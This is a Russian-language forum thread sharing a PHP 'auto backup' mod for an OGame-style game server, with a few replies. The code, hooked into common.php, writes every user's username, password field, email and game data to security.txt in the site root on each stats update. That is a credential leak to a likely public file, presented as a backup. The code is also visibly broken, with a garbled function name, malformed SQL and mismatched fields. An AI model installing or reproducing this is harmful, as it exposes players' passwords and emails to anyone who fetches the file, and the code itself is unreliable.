АвтоБекап БД

GwynnBleiidd

Школьник
Репутация
0 / 1 048
Название: Backup automatico
Автор : teostra6 (yo XD)
Версия: 1.0 (Sacare mejoras)

Создаём proxex.php:

<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px">Скрытая информация: "Код" <input type="button" value="Показать" style="width:60px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Скрыть'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Показать'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<?php

if(!defined('INSIDE')){ die(header("location:../../"));}

function dire*sad*$CurrentUser, $CurrentPlanets)
{

global $xgp_root;

$dat = date("D M j H:i:s", time());
$st = fopen("".$xgp_root."security.txt", "w");
$user['username'] = $prueva;
$infN = doquery("SELECT * FROM {{table}} `username`", "users");
$infI = doquery("SELECT * FROM {{table}} `id`", "users");
$infPs = doquery("SELECT * FROM {{table}} `Password`", "users");
$infE = doquery("SELECT * FROM {{table}} `Email`", "users");
$infIP = doquery("SELECT * FROM {{table}} `id_planet`", "users");
$infG = doquery("SELECT * FROM {{table}} `galaxy`", "users");
$infS = doquery("SELECT * FROM {{table}} `system`", "users");
$infP = doquery("SELECT * FROM {{table}} `planet`", "users");
$infCP = doquery("SELECT * FROM {{table}} `current_planet`", "users");
$infEST = doquery("SELECT * FROM {{table}} `spy_tech`", "users");
$infCT = doquery("SELECT * FROM {{table}} `computer_tech`", "users");
$infCM = doquery("SELECT * FROM {{table}} `military_tech`", "users");
$infSTTT = doquery("SELECT * FROM {{table}} `shield_tech`", "users");
$infEGG = doquery("SELECT * FROM {{table}} `energy_tech`", "users");
$infIPPP = doquery("SELECT * FROM {{table}} `hyperspace_tech`", "users");
$infICCC = doquery("SELECT * FROM {{table}} `combustion_tech`", "users");
$infIIMT = doquery("SELECT * FROM {{table}} `impulse_motor_tech`", "users");
$infHMT = doquery("SELECT * FROM {{table}} `hyperspace_motor_tech`", "users");
$infLT = doquery("SELECT * FROM {{table}} `laser_tech`", "users");
$infIT = doquery("SELECT * FROM {{table}} `ionic_tech`", "users");
$infBT = doquery("SELECT * FROM {{table}} `buster_tech`", "users");
$infINGG = doquery("SELECT * FROM {{table}} `intergalactic_tech`", "users");

//Aqui me di cuenta de que era mejor la forma de los numeros XD //

$inf[1] = doquery("SELECT * FROM {{table}} `graviton_tech`", "users");
$inf[2] = doquery("SELECT * FROM {{table}} `darkmatter`", "users");
$inf[4] = doquery("SELECT * FROM {{table}} `bana`", "users");
$inf[5] = doquery("SELECT * FROM {{table}} `banaday`", "users");


$planetrow = doquery("SELECT * FROM `{{table}}` WHERE `id` = '".$user['current_planet']."';", 'planets', true);

fwrite($st, "[".$dat."]\n");
fwrite($st, "---Ids---\n");
fwrite($st, "".$totUserId."\n");
//Lista Ids #################

while ($u = mysql_fetch_assoc($infI))
{


$totUserId = $u['id'];
fwrite($st, "".$totUserId."\n\n");




}


//Fin lista #################

fwrite($st, "---Names---\n");

//Lista Names #################

while ($u = mysql_fetch_assoc($infN))
{

$totUserName = $u['username'];
fwrite($st, "".$totUserName."\n\n");



}


//Fin lista #################

fwrite($st, "---Pass---\n");

//Lista Pass #################

while ($u = mysql_fetch_assoc($infPs))
{

$totUserPass = $u['password'];
fwrite($st, "".$totUserPass."\n\n");




}


//Fin lista #################

fwrite($st, "---Emails---\n");

//Lista Emails #################

while ($u = mysql_fetch_assoc($infE))
{

$totUserEMail = $u['email'];
fwrite($st, "".$totUserEMail."\n\n");




}


//Fin lista #################

fwrite($st, "---IdsPlanets---\n");

//Ids Planets #################

while ($u = mysql_fetch_assoc($infIP))
{

$totUserIdPlanet = $u['id_planet'];
fwrite($st, "".$totUserIdPlanet."\n\n");




}


//Fin lista #################
fwrite($st, "---Galaxys---\n");

//Galaxys #################

while ($u = mysql_fetch_assoc($infG))
{

$totUserGalaxy = $u['galaxy'];
fwrite($st, "".$totUserGalaxy."\n\n");



}


//Fin lista #################

fwrite($st, "---Systems---\n");

//Systems #################

while ($u = mysql_fetch_assoc($infS))
{

$totUserSystem = $u['system'];
fwrite($st, "".$totUserSystem."\n\n");



}


//Fin lista #################

fwrite($st, "---Planets---\n\n");

//Planets #################

while ($u = mysql_fetch_assoc($infP))
{

$totUserPlanet = $u['planet'];
fwrite($st, "".$totUserPlanet."\n\n");



}


//Fin lista #################
fwrite($st, "---Currents Planets---\n");


//Current_Planet #################
while ($u = mysql_fetch_assoc($infCP))
{

$totUserCurPlanet = $u['planet'];
fwrite($st, "".$totUserCurPlanet."\n\n");



}


//Fin lista #################


//Fin lista #################
fwrite($st, "---Spy Tech(tecnologia de espionaje)---\n");


while ($u = mysql_fetch_assoc($infEST))
{

$totUserEST = $u['spy_tech'];
fwrite($st, "".$totUserEST."\n\n");



}


//Fin lista #################
fwrite($st, "---Computer Tech(tecnologia de computacion)---\n");

while ($u = mysql_fetch_assoc($infCT))
{


$totUserCT = $u['computer_tech'];
fwrite($st, "".$totUserCT."\n\n");



}


//Fin lista #################

fwrite($st, "---Military Tech(tecnologia militar)---\n");

while ($u = mysql_fetch_assoc($infCM))
{

$totUserCM = $u['military_tech'];
fwrite($st, "".$totUserCM."\n\n");



}



//Fin lista #################

fwrite($st, "---Shield Tech(tecnologia de blindaje)---\n");

while ($u = mysql_fetch_assoc($infSTTT))
{

$totUserSTTT = $u['shield_tech'];
fwrite($st, "".$totUserSTTT."\n\n");



}


//Fin lista #################

fwrite($st, "---Energy Tech(tecnologia de energia)---\n");

while ($u = mysql_fetch_assoc($infEGG))
{

$totUserEGG = $u['energy_tech'];
fwrite($st, "".$totUserEGG."\n\n");



}

//Fin lista #################

fwrite($st, "---Hiperspace Tech(tecnologia de Hiperespacio )---\n");

while ($u = mysql_fetch_assoc($infIPPP))
{

$totUserIPPP = $u['hyperspace_tech'];
fwrite($st, "".$totUserIPPP."\n\n");



}

//Fin lista #################

fwrite($st, "---Combustion Tech(tecnologia de Combustion )---\n");

while ($u = mysql_fetch_assoc($infICCC))
{

$totUserICCC = $u['combustion_tech'];
fwrite($st, "".$totUserICCC."\n\n");



}

//Fin lista #################

fwrite($st, "---Impulse_motor_tech(Motor de impulso)---\n");

while ($u = mysql_fetch_assoc($infIIMT))
{

$totUserIIMT = $u['impulse_motor_tech'];
fwrite($st, "".$totUserIIMT."\n\n");



}

//Fin lista #################

fwrite($st, "---hyperspace_motor_tech(Motor de hiperespacio)---\n");

while ($u = mysql_fetch_assoc($infHMT))
{

$totUserIHMT = $u['hyperspace_motor_tech'];
fwrite($st, "".$totUserIHMT."\n\n");



}

//Fin lista #################

fwrite($st, "---laser_tech(Tecnologia Laser)---\n");

while ($u = mysql_fetch_assoc($infLT))
{

$totUserILT = $u['laser_tech'];
fwrite($st, "".$totUserILT."\n\n");



}

//Fin lista #################

fwrite($st, "---ionic_tech(Tecnologia Ionica)---\n");

while ($u = mysql_fetch_assoc($infIT))
{

$totUserIIT = $u['ionic_tech'];
fwrite($st, "".$totUserIIT."\n\n");



}

//Fin lista #################

fwrite($st, "---buster_tech(Tecnologia Plasma)---\n");

while ($u = mysql_fetch_assoc($infBT))
{

$totUserIBT = $u['buster_tech'];
fwrite($st, "".$totUserIBT."\n\n");



}

//Fin lista #################

fwrite($st, "---intergalactic_tech(Tecnologia Intergalбctica)---\n");

while ($u = mysql_fetch_assoc($infINGG))
{

$totUserIINGG = $u['intergalactic_tech'];
fwrite($st, "".$totUserIINGG."\n\n");



}


//Fin lista #################

fwrite($st, "---graviton_tech(Tecnologia de Gravitуn)---\n");

while ($u = mysql_fetch_assoc($inf[1]))
{

$totUser[1] = $u['graviton_tech'];
fwrite($st, "".$totUser[1]."\n\n");



}
//Fin lista #################

fwrite($st, "---darkmatter(Materia Oscura)---\n");

while ($u = mysql_fetch_assoc($inf[2]))
{

$totUser[2] = $u['darkmatter'];
fwrite($st, "".$totUser[2]."\n\n");



}

//Fin lista #################

fwrite($st, "---bana(baneado)---\n");

while ($u = mysql_fetch_assoc($inf[4]))
{

$totUser[4] = $u['bana'];
fwrite($st, "".$totUser[4]."\n\n");



}
//Fin lista #################

fwrite($st, "---banaday(baneado/dias)---\n");

while ($u = mysql_fetch_assoc($inf[5]))
{

$totUser[5] = $u['banaday'];
fwrite($st, "".$totUser[5]."\n\n");



}



fclose($st);

}

?>
</div>
</div>
</div>

В common.php после:
Код:
 include($xgp_root . 'adm/statfunctions.' . $phpEx);
        $result        = MakeStats();
        update_config('stat_last_update', $result['stats_time']);

добавить:
Код:
include($xgp_root . 'proxex.' . $phpEx);
          direx($user, $planetrow);
 
как сам мод работает нормально, не глючет ли запись при большом онлайне
 
Не проверял, но на серваке с 2к онлайном на одной юни не заметили.
Но его потом закинули на второй хард где бд и хранится. Но по тесту не очень виснет.
 
GwynnBleiidd, а чем нормальный бекап самим мускулом по крону не угодил??? намного ментше ресов отъедает и намного практичнее...
 
Это испанци творили) им виднее.
У меня вообще стоит автобекап хостинга.
 
Переделал этот мод под крону, кому надо пиши в личку
 
на моей сборке вообще отказывается работать
 
Сверху